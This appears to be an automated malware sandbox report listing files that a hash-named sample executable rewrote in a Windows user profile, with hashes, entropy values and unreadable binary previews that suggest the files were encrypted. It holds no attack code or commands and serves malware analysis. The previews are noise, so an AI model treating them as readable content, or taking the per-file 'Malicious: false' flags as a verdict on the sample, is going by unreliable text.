SHA-512:	8CFC8A787C9A84CE251DFAEEC11861FB65F5A6D81DB51696B0CE50E418CD6C87A579F4B9B7D413DF96563F493F9BC8E82DE352A6B1CE6517BC40FC2914A69CE8
Malicious:	false
Preview:	{"Maj.......?U..[.r..1....H...%.Y.iE..c...Z`0.ep.....9T,.3........L1.l...$&...!.x.\|.x1.>...v...tQ..]..W..p.......b6....r...YB...E.7.dd..z..7..:....q.G.j".I.%k.G.......p........._H.:..#.$WU....X.W...o.K.O. .UY7 .wRK.6...l...u..u.H......T..o.2c.P..w.x...R.$..^.....O..yF.f.mB.\|.;i.."BC.....[...-....}..#....P.`#j.@.A/u...!.....>.%.\|.'...1..k.s.T...h...m..1.@.m........b:xw3"..(...9;.p.o..b.o?.Z.b..1Y)..%..........,..`.=Hi..-pYQg..L1.]...fg..lV:o\|..u#R.9.,..~M.t.5vY..$..u...5.70../{]1.{...t..@..9......uS<AQ6..W.yOT...!.@b.Uc..\ .........;.v.b..V.....F\|.='l...y..0Y.af..Q..w.Q.o_[=....y...gT.R\...<7.q.T[Q.......Zh'..(L.}G...!..Qt/.@.O..G.Mx....&...........my.v...............p+5(.A......h......7..P6.R...\B.x.+\...Z.u=.&.$\|.?mC..K....j.IQ......J.6pE.B/..../...._.&.]....9...i,..;kvD@..A.......{\wf.....<.\.m...x.G._...C..C.%.+......n..j63.!.[...M..0..+O* s..R"...Y<"] I..f.C.63....@*.."..w._..8......9N.rL..&..,M ..4....g.rg#~.W..o.p...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	759166
Entropy (8bit):	7.068521703125469
Encrypted:	false
SSDEEP:	12288:r0++ziBvyUgj/LzKXHyheIQ47gEFGHtAgk3+/yLQ/zRm1kjFKy6NyjbqqZyU1ovl:AJzfDjvHXg+1kYvN928
MD5:	731AA62A88BEFFA0D8BAB36E32E9A367
SHA1:	A233768CB3AEFC992087D9B650ECB20156160156
SHA-256:	CCF556274F7974D6C19CA279BC3529667F03B9222713F058DEAD90230732F43C
SHA-512:	0A587ACF06D59614625144835FA04F2970234D00F940946E665D70ACC951843BFA1FE0175BB7878838E49B038E32E785B15F8E44CA29887823605E1EBFCD6B70
Malicious:	false
Preview:	........1.... h....M...Ue..a.....F...5....A....].......F.,.lu.4l....vG.).k.Uv.!=[..w\|r.@Q.....j......}2.$...p4..Nc.(..6..<Z...lj ^.8.....V..8z.U.%(.eF^..e:.bM..e.:5!(q..?....L..7.-....t.O.F..8..C..l......}{R....G...._!..... .#...D.6.8P...9q..D.8.y......6.\T......`.w....!.zy=0.&..X.\..A..E..{.....dEf.J.`....7..w..ww....v....~..,w.@.hF.....\|v.8Gx.4._..S...\|..}1.....(..l.wo.Bs4.b.,...$...d.}._.7.E::~..8V..B..Zb.mn.....W.......kz..d......).d..O.T./....;.8@^7.C...%1.8EsY.i.. .y..CJ......(b05vfWL.h.<.7q...,.X...0W+#[.A.A,..G.......w..J+9>M......as........;.....Z.%x.......Z.+ Oal..!..b..di.y..rI...<j.f.l../.......uRd.W..F.._........&).6U.......;T2.)...B.x...#......~.?NC..<....-..{.....r....g.er.{..3.P............A.H.*..v...f3..>.......Fj..G.WyxA.o(.q....:..)e...3U..s....4\|..S...# p.\|\J.9...#.M<_Bi..43. .-:.m.~a.q.....tB\|O.).fh.d..n.#"......g..UC2l.,.....&W....k>.5.....,Mf..we.bf...4".`.d.}E.zz]}>.1..t:t.Y..d%m.;i...IU.....{<...n.v..y.v.6.._.W

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979165403148144
Encrypted:	false
SSDEEP:	192:mhOJT5axg20LU6PaQH7IB4KimtoyUyEVd2OvmgS20:lJT5VLWQSoyUyavb0
MD5:	76A9623185D1858411C9A7A9D8980007
SHA1:	B8F70939957657369E816ED40F2477410B7ECD79
SHA-256:	F4F061C9A281AAC40272DAC3EF1C028B299C2DA45481F93B25C808297ED9FCA0
SHA-512:	58DA6CFEFBDACF8731970AD9205303F7BFC024E240CDE1F05044F8A59CC942A81C6A24CD86AEEE501B315F587192CFE6D642966A8ECC3C69373E08BBE7B4DC20
Malicious:	false
Preview:	.3\|....V.....1.+......j...(......h...".W.......e...(.@.fzB.W.'.....+...e.........:....-Rq9J..E..:...U.I.R.-.... p.....8)X"i.ZKs=t.Gb)m....3ri...<.....<.;..(.5.......F.^?.TE...Z..6.>}..:.:.M@l[#>..$.;R..O..../.E..A..\e....[o.......?.M....\|"....UM........t.,k.+a...2...D9..u...g.....gY..l^.y.F...].r.}.{.X.>.u...Wr..t.^...;.K.[=.a.!..J.I....h...8.U..F.Ah~4#...p...[.c...}. ....e..}o...s.....[..2.{..G..-C.C..Z..1S.k..+ t~Z.......k._j....4//......"..hX....U..B.O..YA,.....#."k}.&..R%.:......G.~C>.H..Z ...d:.i.T"<..U.n....8.e..s(Xt..G"Q......tp..)r...........^...G6..........e_V.....9..g. m......f[..G.ly......H..i...t..".6.D..G.8...\..z.........H.c.....\|U..5.S.8O<..'.2.s7':F.........u..V..f..=..qu^:.._..&J...~..Z.z9...!. ..Fd.I.S.L......!...!Mma.......L.........@-.s..FX..Z..........f.$.=.4.e...[...5..f.. ..&b _...s.....d).........NA..W)..$...%...d.%.L..Z&..B.KM.#?...>E.c......h..U...Demq..l....d.''..p....H'.Er4..lV...!.....^^.M......6.`..6

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.963481121493947
Encrypted:	false
SSDEEP:	3072:3IsnTYX7YeA4X5rH6HKqjzdZQzzrcUdOMiFK0+X8i1kaWethA3jRlhLNKT61m5pJ:7TYXMR45CKeYzZOrFK0a8KqecLbjY
MD5:	E38056659AE6ACAEAF502925F52F334A
SHA1:	0F5F997A048D5D7F46923A6FA8EC533704B7988D
SHA-256:	134AF4B418875604C3D39C2B911FCD633CC78A3237A1BCB78D67A00212BFD09E
SHA-512:	BD5E2D30C82E131D5E9AE2901C03C3D08D0B4167F08F6D7371A352A048FB2B35526A9B84971A42241BE8D6C5DF8ABFC7F5FBA947C2D77CD8496A8DADD974200D
Malicious:	false
Preview:	............k$.5..l.. .P.yW[...5.d.B.B.,l.0'C3T....Q...i..0../\|."RQ?b..l...$. ^...#(f.6.F.ou.kZ..a...r.J..Q........VP]..#.n....\|......w..V.........D.H<.MU...#..K.\.c.$..,.......M.4..g....w.{.f[[.9\|...X....'.U.zw.o...}.l...{..}..U..9o{..lw...5.P..S.....E..;h..).W....@.Kc& b2H./..A..C....3.O..F~P...Q..$.m..6....O6.V..V....m.A.$R...FE\.?........3Z\y.c....T.(......].fg.P.J...I.@..............\|C.s.u{M.mr.....u6.'....UP.+_.' .k]W.x...P....{x.#./.......*.J.....m<D.IK&......<...R.P.x.q.....%..X.4@.Vy.y.O.......K......0.V.#.?...h.8..&sI.].U......1..4B..F<..n^.8#...V....c................N..1.+.g..{....$L6.Y...v.g."..NG.Mj/...(i.A.<..C:$..JS.^....V.[.OK...b.m..l~...p...[cD\...b%$P.S.+....=....^....s...l..Bv.OR..2....c.Q.4.....e..y...h..4=>.%d.,.c.......Lg.{i.Mw....me.(.&..~"..6x.....UzT..;.u...;OF+....9.8!.kA.~.9..._...E%...=...8...#.C.^b..!g....q..}1....V.........>..E?'.D.^.n..n.xH..~T[.CH...+d......@.e..o..D.#.\..bd.V&.=.......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2073894938359486
Encrypted:	false
SSDEEP:	3072:ms7kQ/n+zY9hJ2WYVQsm5JtGU8tMWRvhLtGTTSrATIqzlLX5UrLU:mtQ/+zYd2Wjntx8mWxhRGYzPU
MD5:	A31F6B567C9B4E7B4B635C9084C58DED
SHA1:	ED5E22930E967752E151BCA53DDDD12485FA4091
SHA-256:	4E873896D3FF2EA3D31367A2F8DF679CCB0518FDD93D52E54889C82E75106F3F
SHA-512:	A977DC250BD935B93D771342C9004B00B84592D84B6AB2872856786649F3F96E519B8FB1CC98EE75E5C05EC502ACD29271FE118F1A3433AFCD5AA8247913D374
Malicious:	false
Preview:	......%Y)..-.y.x;/.:_....7nz.~.n.,b.....e.[QC..h..b./..?...2Q..#..Q..P#..HAl..?....N..z5..........Y...~....~x.......+^.x.g.....P._?\E...........T.t....3..P>...l#....?j....&n$'F....;..D...M..xj..D.Z.)....&M..q....U.T.....r.e...#.}.!..C..e........V.c-..l'.+....\|.:c.E..o...G+..tO.#.....W.'..y.!.lh...."S].M..Z['......K......U....8~;.!....$yMS..K.....$.#?...<..K%.?=F.o.g.b...P..P......A%.....{........K.....]Me\|...B..?.Pg.`s..f7w.0t.y.n.'....gV....C...^.....s......-.@k..B....!q.C..DBvqY..9.#bS&..1hC.iFCQa....7.....D........\........].gO_..... .&....e.G..t...:.-...a...g(>.1..Y5%...a..#0-.Zc..b.o...T......pp..h.C.A......0/ .>...\.s....8Z...Q..G......C.D').B..73u.\|"\|.b[:.G.i.C..t.E..a.o._g.........>....F.p..b.I.Q.6.>..h..P...T..Vl.3\|.......i.._v...........[K...4t.b.9...0,.....U&.Tu....1)....D......4_..G).S.\|1.F.*....:.....8.L\.....Q.7..W......L8.(..e(9..)\.k....RQ.%........N f.1.sM...1....#...I.'p....a..P.....,..2V....{.^.#..J2...:...Vq~/p...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207499799617342
Encrypted:	false
SSDEEP:	3072:yjIp2BN2iodD2zIgtIi16yvXRc+SJSAIlW6VG8uEvESUm58:yMp2BNhodD2zIgt6cRc+Y8lF8qG
MD5:	784528E70C113BC2DC99ADD49B1730C8
SHA1:	B954B1C0FB809E43847F16A31D9698CE709C5348
SHA-256:	A4554FF3585C0CF020E48E9D7D270966B957BF8852E453CED8A9A4CA573D6A4D
SHA-512:	1BB1F3935958995DA8F988F3596FB252E4B78D59B3E65AF9A0ABB0FF4DE214535702CC2089258B7E8A385B32782ED40B7A02A03D4B7C194010F8BC1FD5D1937A
Malicious:	false
Preview:	.........$....D;...$..#..X..5...q.g...Y..].x.>ok.<...Ah......6D/...tN\..........DI~.-UE...q.>..o..1}......I...!..V..O -\.r:.)P....XN_W...<.N..K..8.#.&.t-.e.dYM+hA..O[.. (..1..Y..'?..'.s.x.k........s3..g6..M..?.C....o.p...4H......v....x.........Z.(..V.=<..}"...i..ps6..q.._p!...il..Hf...w......(..\|.G.q.l}..K.f..\.,\|.5.i.#\|......^..,,........kIP.'.9.....[r...Q.Z.H$.;&...;FG...^"u.H..._.2...d....b.....?....Y.g.].....e&.D._&.H^..'r..)=.<xi/...<.=J...Z.jAf....6w.Eg.[+E.r{!..S.....c..........zd..]....r.@R.R._....Q..\|~.3..Z.a.N..f....O.....3....`....-.>..W..@..X....-R......v,q.y.....3nm.....<...Z..s.'t"H..^...}.).m{.@...`.!d.a.i[c>...H.m.j.X^0];....4.. Q....Ix.8T'.d...dR..Z.Kb_El=1...((.#8$1. ..{z#..........=u.J..\/..-...+..hL)..Wne....2.}z`c2C.e.....C.@..{.[i.e$.6C..5T...88..B\.E....1.........50?..VQ,.u.T.3..IT8..3pN.A..7..A..J.0,.[.V..r......H..OxD.x.....\;3_X..o.;.....Y.q.\...........P>.3}..Y..Q.3?..u....b+..d#2h.K.Ie....07.t...NaZ.8....`....*.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208068166529799
Encrypted:	false
SSDEEP:	3072:gntJpPsvtRfB0pP5icbIV9/Y/DAuUsrlGkk361ERpiQRoRL4IyfKa1M6O22:gVsvtspBicb2MPUsIoowPyfTM6z2
MD5:	21E772672405987FA692A5204DB725A8
SHA1:	E83A0A9C83A5119A314165D5CFE3519B6EACF568
SHA-256:	CAA93D2ECE4B9C90059B7718C6FF0E18A32B5562ADB9169C710DF13AE15C5DF1
SHA-512:	EA84FD0F1DF4AF5B7B64506A8C1F23F14967E8D6CF632F26F52A86E9941CC1BF1CEF0FC5991B1675F9B8970128849F4BAA4BC427EF9AE4E5C261382F341953C1
Malicious:	false
Preview:	......U+.....7...5.4n]....v...<...p4......t^"q...52......V..7J.....}.q7%,..)Ofzn..Y.8...2)+Cs..;...A.....:Q@?.W!..m.o..x..9.z..<.OI.7..}w.w.\|)eB..d.....$..p...[.O.r.......Z....5...F.j,9...X...g..;..U.?.b..5..".P....J..>..X....F...;.h.U[.S..j7..z\|.X...P.e.......N....,..........l.r.......J.^....m45.rM..Sq-..g.$..{........._....w...1.m.\|...b_.HE......Pa....;B.t-.PDp$........`E............ .tz.$...=.K83.].(...tc..<...e..J...'./.qvd#D..\|H....20.i...mB...~.d...B..B..;....U.c......W..kj.~....Vk7...]..6z.F.3pb??....#.\...Y8..n@.%\.."...W}.v....;.Wd.nu,.....%H.f.,..T..E......G".x.`D..B......7..T4..@#.o!..}.R....9.....,\|J..vg.e~.....2`.Ij..".c..g.).e>+.R.U.{Lt...S`...a.4...QM,%S._.....$h..r.O.M..n......]~{...N.:.:y...Ih.....XM.Y......j...H,!..d/........uh.{.MppcZ...."jx.A.,F...$t..S9..(c[..k.......}.ejEm.{.....z.-..J....%PN....C}.I.6.@...\. .]....}>..."...CG-J._.+..>....D<!....J.:.'.\|r]t...b..8..W..#\..*G.5....=..B.x.^.P;X.S..\|/....I.\|.&..K...,.x

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.942176683426807
Encrypted:	false
SSDEEP:	96:CdQaZVXBFUa7/eZsagXUQmjfEODbDBs/W7yt3cX:oQaZVRFXreZsagfmwm1seea
MD5:	1EA5070183A5A47729E1AEAD635512D7
SHA1:	3557E349C72C47BD9A9A307BC64C62A20DC632A7
SHA-256:	A7C3314D47217147A80C1A8FEDC46A708A793A3245BD1DD357F891210BBA20FE
SHA-512:	C05CCFE5F6F1D34C09B50411A15D222179082452ADCD47C7B0913ECFF0CC0998955D91DDDCAE2A612240205BA94E1F48B259360665F2125E02F3E4D1D7C470AC
Malicious:	false
Preview:	<?xml}..0..L..-..O.59......ot-K.2.. <G_Q..Gf...R....Mf4....>..8,.....G.../Y...O.Z..4)U.p.a...Q}{:U..a...2.umJ......y..$...d..Z.F<n,....\|...!.xA.....G.....3...u..E{.c."n?_y..".pr..Y&.!s@}.p9......Zn..ZD.........'K.c.I~L.a.d1...gC......j.WbQ....-.p2J.......m..._...r..T.I.L..+.....?...y;.{.B..~h`...g.............cS.V.8..A4u..i;@1... .#...zl..lj....-o.f^..\....y/....>..-..,.a..B..........:=Ta.a.(.5..%..z.../`u.}M] .\|..L.o...l0...gj.v...a.pb......8.....n`5u./G.b..~.7.i.f...w6.b.K.0p.<.S7.5.6v..Aw@P.Xp.IL.je...pZ..}r.k.4.....".a..K. qO(....G.)...G..R).Wsq........Y....X.k.....,...!...93.?.Q....6......,...\..sJ<.mr.8.........$.,g.G.....!....P.=.OnV......0..$.y....{..~^,...x..$.OL..rI@`Dw...4.c.>]$....-.T......5.h...k..De.}.}.t.... +H..a.D....H."lw.t.x..C97..".i7.QXU../......5K..S...`.%.yjI.N,:.S...n._kh0g.......a...#._.DX.*...%38..?..O..L.,....<c._j....l=..Z....Bz..........0.H.......ia....'.gb#.h.gL.J..q..LF...^L,~......X.Kg.w~.u$.cI`.2#

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	6905
Entropy (8bit):	7.9705876687345825
Encrypted:	false
SSDEEP:	192:b245zv7ZtmBq1QV5uHInRDGxPZF4EIPOF/KOx68RS7:FzzZgq45uonRah1Jry
MD5:	D0BFA323B1DE6C8D968AC770DDD65982
SHA1:	44A033663045F1314FF221E60350304E4FE53411
SHA-256:	C693811899FB061060494A6C080111ECFBD724EEFBF2CDE08123F1918FA69303
SHA-512:	2B697FB47E03D394DD3EC99BE1489D7F2B41D4D1A521E92F01C4DD76B7514A5F050EE0BDAB7A9B919EDA50F88D2E116159F92DF96783D1C23B36E5280CA7CB83
Malicious:	false
Preview:	10/05....W}.S...\..M.U.K/x.w...JJ&#zBD.E.........A5..sJ...p.N..i.P.:..Nj....J...S....r....!.>...v.1#^.e..oGF.jh..t...I.{..=.....R).8..K..EW...$k..{.[(^L.6r)<....?].W..F.O.....{....o.;J.!..Qb.g.q...E..i.=..$..s.........4.f<......o#.1.n.%..A.)..m...&..\g....9.q.y....m&..m6..Z..#.+\...(..V..6.... .....G........7..B..;.B..<......<._.Nmy..I..U.......V.a..ar.W.0....\|..66).%;.......c..."...v...z).a...6r...6.8.AJ_.Ni....6.R!.l..f....p.RjZ..@S3v..(_......%..q% ...G..Xs.A./L.v..h..d..V{...o.x.&.....+`.U=S@.G..H2A.(.3..r.v....3Ig...uW$.`.byX.n..uN>. .......0}VD....5y.y@#w..A...P......tj..D...U+..,..joam...B.Q\.n....#.....t....b.o..{...9..V2....n.....Q..R..l_.$.k.!.h%]...(F.Z..wHik..X.}.Pv.z~..3..1..........!&..T.......T...:..Jp.....d..`..pgqD.F.:.".:'A.....j.S.8......g'.kPFI...^<M..e.%..h.5....F...o.3...rD.t..uJ:..3..1......vC....HZ@. h..}.....G.l....8s.rH...5..mQ.jm...D...D2....cO.R.T...8.+.jYi...f.f.......s{Y95..Q.:=0......F.....S..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.75020719635384
Encrypted:	false
SSDEEP:	24:QnlM6x5M13oQsyKa0nItrtXIYaTcJPyF1BQxNviAw67kbD:YlrC3o6KPI96YYcJJNx1KD
MD5:	28854854AEAFF89D93ADEC5438B0DF3B
SHA1:	BF2FF31282124B83D755C3FABA10A6B3CCB78BC7
SHA-256:	F8218202F6AF41F07E9C1156352DE96DF5A2ACC143DC2AA03FA2B7FA70DE1CDD
SHA-512:	C1AF13B47B3B3C2CD95B62DD06834383EBA00B8F67B8B06E7DC010189A5D85AE605D2262CCBC279BF089BEA700231CCD1B1BE6C9CE626E375F0B7D04C8AF32B1
Malicious:	false
Preview:	..1.09..x^....6........a..].`..yS...2...(...B."..D...:...^#BC....Z..........\^..O.............k..k.........N)..d...v......Y./....C..oh.................m.....2.dA.....{...gx..bqa.s 1....=RpR?.-c...g.T....P......@......Z..U8..3wb.^.E.b....gH4.VtPI...5z}..9.</:~..=..# )...5K...b....W.-...Iy....M.X`.Y..V.a!....XG."&\.~.{.....~;jWN.......c[0......o..m=.f2..G....m.....i.$F...%1....X.c./..@d..w..g.b.A-.d... .....k&%.L..+Z...<..=..,.<2.L.iuL)&.....{...$a..{.#3j.l...2.r..'.A.U.^Yb3..,.$Al3.vh.e.+.h1....n0ak..3w'..vbht.?r..7:R..G.Me........Z._t..S(.o.f/S.....F......m......{.+...v\0.....J......y.y^/h..u.F.Y...r.v.u.6....<.E^."...u...I.jZ.k..-...Q6...o2.rJ..z.l...<...c..,.F.9...q..Z..rA....Ld_S...=..KM.h3h_..9....Z.G:.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (870), with no line terminators
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.880394002850421
Encrypted:	false
SSDEEP:	48:Qva7/oew5vljoiVdg0NgpudJNLlMAPi2tg190v5kyQQGD:z/oeGjow799myxkyQD
MD5:	8879DF7E0DEEC3FC8301A7716C0BFC0C
SHA1:	B7F84323C7EDBF70A1B5790383200C9140A29CE3
SHA-256:	A78ACD07787976DF2B067E3887301DCB4F3BEE6D715321CC1772122DD48F53D6
SHA-512:	96AE806DA88B669B6C6FE0357B240840EAF1D2D1FED972D392B0EB65A624C8C75A2047F940A432E5390BBCE8D4D084B1DC7E5B674F11AF1DB59953261BD368B4
Malicious:	false
Preview:	..1.0...Xt<D....e..D..., ..I^..=NW.}c..B.C.=`.piO..s..R;a...Zu..j^zA5.!a.'.......W.....W....Ll`.#..H....j.....%..r6...:.\.....>.%..S..Z......P..'G..s...J9....X..)N#ZCQV..[.r....\|G.....C....`.......`..W..m,.....h...:E.....8W../..=W.+......j96%.......Ydn.C....H!....`.^u2..)....&\k....{....\....!@..F.}....].hOn.....8s.OO....E.9...A..h`6....dV._5......T.P!,om..VQu....j..z.Q.....6..Gw..[j..JC>w..0B..N3./.H.^tO.Fv.Y.Q.s$...h.s...d.H..kq.3..L.....>od...x$.~....>..>..G..h.dd...I-f....OX...e.Z.O.U.....z. n.6..t..'.~.+...._I......VU....7.......8@_.........Cg.^0L.)R..Hq..o]i^W..2[m.7.VH......P....q..QL...6...7Y.l...v.&@.My....E.......=c.x.8.k\<1?\|..V..H..FMDc16.j...h.[$....t4..j..........T.Q.-IO j5..:.%s..r..._1v.\|.....+...W.^.^...5;..Ka.. ..-.z.w..k.O...U...+..2.d).r.....:...g.......q.....e..C.sUe@...3.V..1-R.A.C(...4kC<W..y.fc...Z\|'.?.....[...ED...:.R.3..e.q.%......x.M7"i.....c.e@.t.*..-.\|......BW.......Qo.T.(L....Eb..&;..tQ...}YBr.\|).'g......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.528724997864728
Encrypted:	false
SSDEEP:	12288:B8DOqpUYAWI7jkHxsXSZlV0N8x5thr291gess3TylunXj:AOqpUYhAIHxM
MD5:	14658A2A0ECFD2EB3196610A797EE82B
SHA1:	48525584941C808A8188941614BEAB2A665DFF2D
SHA-256:	330BC317639B41F4DDEB819109D9877337F4DF0925855DB6F67805AF4FA9B474
SHA-512:	A5CC174A94C67E0BA2416521C1840B5FC5CECC78D813C79B215D0DEC43128B066E2F97A3CCE828DAE6A660749949611E3512222D1E8DE5E1E72F6F580478899C
Malicious:	false
Preview:	<Rule..K..F.9]o.........s..jeb....yW..~.t(M...pU1G@.X..j.4>L.9...5.~..}... 3...[.Lrl.fL..l.k...kt..Q....l..K,..D%........1].........T..&......5..#......Z%2.# .C.b..7...H~.A.J..<.W.3...k....NSX..u........-.0.`5p.v.UFGz.?...`..#..).:...1e..ef.a..tq..V.f.C}.P.......{.....~......L...4...F..f..../.=.+..^C^..7..%.....r...Y..$.$....E.;.+...!.KF.dQ.#.D..d,<.C..4.1...b.....Q..(X..X...)....#ab....dK)....U...Rc..0..!.~..I...._.B2A._...J.l[.....@i.g6o..Pr...?./y..VLP..54..@.+..C..k....I......a<D.>......?.Z...6..........5...%...... .......Ty..J.......A..:.n.....t%G..rM.....a..p,..;..{.*'.Auhl...."...i..j:.3b.4...3h._...}.S.n~.- ..b.K....+Hm.0zJ,.B......n..<..-c^.l.>..~..1.=c..D..sH..!<..ehv...?.Y.^..v9..U<...&-v.K..v...)..1y...g.~(...d..........'.Kv..9.D.z2u.)..>bH..W....D.G......v....8...~nH,....[.-......t.....\|...k.O.]...$..6le......n..YK..g.D..T:(.E..:m5Ec...}[.....xD...n..m...q]..>zb..S......X...Aj. r,.L.#WE..kfE.C.n5..".AE.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100042v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.727645665865533
Encrypted:	false
SSDEEP:	24:Ek2i6nuw8zW4lC8Ew84/posaOo9DDmkbD:Ek2/nKJlo34uyo9zD
MD5:	FFC426DC265C1AAD5B5C89A7C4B513DC
SHA1:	3358CCC5A06C101B187611E948F10E60DB3ABA9C
SHA-256:	60DF7EEB5112C8746F5C4AEC358E6F54E574659ABA5064E364D6EDC54D1F9CC0
SHA-512:	E7730D0720483A1B7EFFDB6BDE354FA5B472FECB0B17DE78F94F804DB7103BE1DEC11DBF2B5952B5C62CE3D7F976943AD13D72C3546534BB488F9B1FC61A4D58
Malicious:	false
Preview:	<?xml...dn.w.....}..`..k..o..@.q.D./;K.O...v.O...../...8...It.1.....e+.6.S..Y.J.z......."..B2..X....-..U.p.R.B.....r..J....xi.si...._...^@om...j....2J.....U.e."r..d.Ltj...(MI.#....K'QhK.doo^z...........t..SW.bL .......u.M.ts..Y4.c....g.&.!.%....h.G...z...6?..8>...d..J>@%.i].t...J.....w.)I.....>....Y^....X.x.M..M......8.....m1t.^....Jpa..z.m...zq...5[l..D..].R.....O.9.\|.S.O......{M..._....<...l.{..g....9..9N....l.z..gs.\..L....9}.CS.".P.......}32....r.J..'..m..P...8.U.^.)1g.Ln.B.Y...`c.....8#..C.[L..Q..R.....\|$X?..(..C.b...{C....s.d.C.5...^......G........b.[....uL..2.......7.2..e.7-{Q.R....oga.Qc...~.......pg... Ye.]_..,.Y.u...E.)...O.]p.2.....*.....yL.......Y%...L.5.q.yM.M.(.P>.1.73..h......= .`co..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100043v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.778703745266076
Encrypted:	false
SSDEEP:	24:n29olYtbW3fNPF/s6alATqcVLBSE5vK9wGB0jkbD:nMo2ty3lN/sn6TqcVB5CH0yD
MD5:	98ED1F162756D689616A670F0B1BE17F
SHA1:	7983D1359A342BD8647E452FBEE94C4E13C5B5F8
SHA-256:	86729BEA600A5BFFB2B0CDF47D33B31BC6FE115454A0C2127742DF554D228731
SHA-512:	635332A38DF698259FE16646D9E375E9B1C4688DA9298D3272F72AD201CAA8CDC884716C59A7D63CF5FADC48F0825E9001739522EF8003BD218E80BA085532F3
Malicious:	false
Preview:	<?xml..S..m.+."O.....r....r;F.....d.......qFB$..F.!....vcu.B.!.L...W....N.....!jA.....]'~T..:.......6.B.L..$H7...^\|..gNl....e..~.......W....^..C[R.Mh.k..`...g.4./(..#....y...@.30.(....&..H,.x.....?..02...}.3(......$....E.I<...^..:q.q.VZ..-.....%.u....M.~I.M......`.9x.l8.I8`p.i6t.P...;3...0.........;R...m....i.......w.z..@..v...D.s.'.T_.Y.W.J..z..2.....P2bT...E.6m8.....!.?.....99.....V.......b.@...6.;\..k.<z.).....G.........Y...EX.W...SA.P.i{.S.......j...F.)...iaY3.@..w/...0..?..0....q.I....}..)....1M6.M.............;.c...p..A..Y&......9.+....^.(..[.UW."c....G.u.RF..U.hc. *......CLH..h.A....ab..@.du.....u3.5..-.sU.$...iO..6r8...`../}..N.?.b....r...G7..A.N..2.Z.nJH...j.5\..............F..T.K{M...ti.(..,$.o..j..LKv..c......9.BdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100068v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.680505505432544
Encrypted:	false
SSDEEP:	24:nfNG01QQPwtI7IZiFBuELJAZ8yxyT2kbD:fNGSQQLEZGIEFAZ8qyD
MD5:	B793EBC7589D4E2AC26BB0789F6E2C08
SHA1:	0B128B4E41C6C21D2A55839CE46A939A03473D48
